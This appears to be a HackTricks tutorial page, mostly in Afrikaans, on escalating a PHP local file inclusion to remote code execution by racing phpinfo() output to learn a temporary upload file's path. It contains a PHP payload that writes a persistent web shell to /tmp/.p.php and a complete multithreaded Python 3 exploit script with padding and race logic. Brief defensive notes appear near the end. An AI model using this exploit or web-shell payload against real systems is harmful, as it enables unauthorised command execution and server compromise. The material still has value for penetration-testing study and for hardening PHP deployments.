LFI to RCE via PHPInfo
Reading time: 8 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Om hierdie tegniek te misbruik het jy al die volgende nodig:
- 'n Bereikbare bladsy wat phpinfo() uitvoer.
- 'n Local File Inclusion (LFI) primitive wat jy beheer (bv. include/require op gebruikersinvoer).
- PHP file uploads geaktiveer (file_uploads = On). Enige PHP-skrip sal RFC1867 multipart uploads aanvaar en 'n tydelike lĂȘer skep vir elke opgelaaide deel.
- Die PHP worker moet in staat wees om na die gekonfigureerde upload_tmp_dir (of die standaard stelsel temp gids) te skryf en jou LFI moet daardie pad kan include.
Klassieke write-up en oorspronklike PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Oorspronklike PoC-skripnaam: phpinfolfi.py (sien whitepaper en mirrors)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Aantekeninge oor die oorspronklike PoC
- Die phpinfo() uitvoer is HTML-gekodeer, so die "=>" pyl verskyn dikwels as "=>". As jy ouer skripte hergebruik, maak seker hulle soek na albei enkoderinge wanneer hulle die _FILES[tmp_name] waarde ontleed.
- Jy moet die payload (jou PHP-kode), REQ1 (die versoek na die phpinfo() endpoint insluitend padding), en LFIREQ (die versoek na jou LFI sink) aanpas. Sommige teikens benodig nie 'n null-byte (%00) terminator nie en moderne PHP-weergawes sal dit nie eerbiedig nie. Pas die LFIREQ ooreenkomstig aan vir die kwesbare sink.
Example sed (only if you really use the old Python2 PoC) to match HTML-encoded arrow:
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
Teorie
- Wanneer PHP 'n multipart/form-data POST met 'n file field ontvang, skryf dit die inhoud na 'n tydelike lĂȘer (upload_tmp_dir of die OS-standaard) en maak die pad beskikbaar in $_FILES['
']['tmp_name']. Die lĂȘer word outomaties aan die einde van die versoek verwyder tensy dit verplaas/hernommer is. - Die truuk is om die tydelike naam te leer en dit via jou LFI te include voordat PHP dit opskoon. phpinfo() druk $_FILES uit, insluitend tmp_name.
- Deur request headers/parameters (padding) op te blaas kan jy veroorsaak dat vroeĂ« dele van phpinfo() se uitset na die kliĂ«nt gestroom word voordat die versoek klaargemaak is, sodat jy tmp_name kan lees terwyl die tydelike lĂȘer nog bestaan en dan onmiddellik die LFI tref met daardie pad.
In Windows is die temp-lĂȘers gewoonlik onder iets soos C:\Windows\Temp\php*.tmp. In Linux/Unix is hulle gewoonlik in /tmp of die gids geconfigureer in upload_tmp_dir.
Aanvals-werksvloei (stap-vir-stap)
- Berei 'n klein PHP payload voor wat vinnig 'n shell persistent maak om te voorkom dat jy die wedloop verloor (skryf 'n lĂȘer is gewoonlik vinniger as om op 'n reverse shell te wag):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
-
Stuur 'n groot multipart POST direk na die phpinfo() bladsy sodat dit 'n temp-lĂȘer skep wat jou payload bevat. Blaas verskeie headers/cookies/params op met ~5â10KB vulling om vroeĂ« uitset aan te moedig. Maak seker die form veldnaam stem ooreen met wat jy in $_FILES sal ontleed.
-
Terwyl die phpinfo() response nog stroom, ontleed die gedeeltelike body om $_FILES['
']['tmp_name'] (HTML-geĂ«nkodeer) te onttrek. Sodra jy die volle absolute pad het (bv. /tmp/php3Fz9aB), skiet jou LFI om daardie pad te include. As die include() die temp-lĂȘer uitvoer voordat dit verwyder word, loop jou payload en laat /tmp/.p.php val. -
Gebruik die gevalle lĂȘer: GET /vuln.php?include=/tmp/.p.php&x=id (of waar jou LFI dit ook al toelaat om in te sluit) om op 'n betroubare wyse opdragte uit te voer.
Wenke
- Gebruik verskeie gelyktydige werkers om jou kanse te verhoog om die wedloop te wen.
- Vulling-plaatsing wat gewoonlik help: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Staan dit per teiken af.
- As die kwesbare sink 'n uitbreiding byvoeg (bv. .php), het jy nie 'n null byte nodig nie; include() sal PHP uitvoer ongeag die temp-lĂȘer-uitbreiding.
Minimum Python 3 PoC (socket-based)
Die fragment hieronder fokus op die kritiese dele en is makliker om aan te pas as die legacy Python2 script. Pas HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (pad na die LFI sink), en PAYLOAD aan.
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
Probleemoplossing
- You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present.
- Output doesnât flush early: Verhoog padding, voeg meer groot headers by, of stuur meerdere gelyktydige requests. Sommige SAPIs/buffers sal nie flush totdat groter drempels bereik word nie; pas dienooreenkomstig aan.
- LFI path blocked by open_basedir or chroot: Jy moet die LFI na 'n toegelate pad wys of oorskakel na 'n ander LFI2RCE vector.
- Temp directory not /tmp: phpinfo() prints the full absolute tmp_name path; use that exact path in the LFI.
Verdedigende notas
- Never expose phpinfo() in production. If needed, restrict by IP/auth and remove after use.
- Keep file_uploads disabled if not required. Otherwise, restrict upload_tmp_dir to a path not reachable by include() in the application and enforce strict validation on any include/require paths.
- Treat any LFI as critical; even without phpinfo(), other LFIâRCE paths exist.
Verwante HackTricks-tegnieke
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Verwysings
- LFI With PHPInfo() Assistance whitepaper (2011) â Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual â POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.